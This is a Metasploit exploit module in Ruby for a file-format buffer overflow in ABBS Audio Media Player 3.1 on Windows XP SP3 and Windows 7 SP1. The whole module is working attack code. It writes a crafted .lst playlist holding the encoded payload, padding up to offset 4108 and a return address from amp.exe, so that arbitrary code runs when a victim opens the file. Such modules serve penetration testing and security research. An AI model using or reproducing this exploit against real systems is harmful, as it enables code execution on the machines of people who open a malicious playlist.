ABBS Audio Media Player .LST Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ABBS Audio Media Player .LST Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability
          occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges
          of the user running the application. This module has been tested successfully on
          ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Julian Ahrens', # Vulnerability discovery and PoC
          'modpr0be <modpr0be[at]spentera.com>' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2019-5621 ' ],
          [ 'OSVDB', '75096' ],
          [ 'EDB', '25204' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => true,
        },
        'Targets' => [
          [
            'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret' => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe
              'Offset' => 4108,
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-06-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
      ]
    )
  end

  def exploit
    buffer = payload.encoded
    buffer << rand_text(target['Offset'] - (payload.encoded.length))
    buffer << [target.ret].pack('V')

    file_create(buffer)
  end
end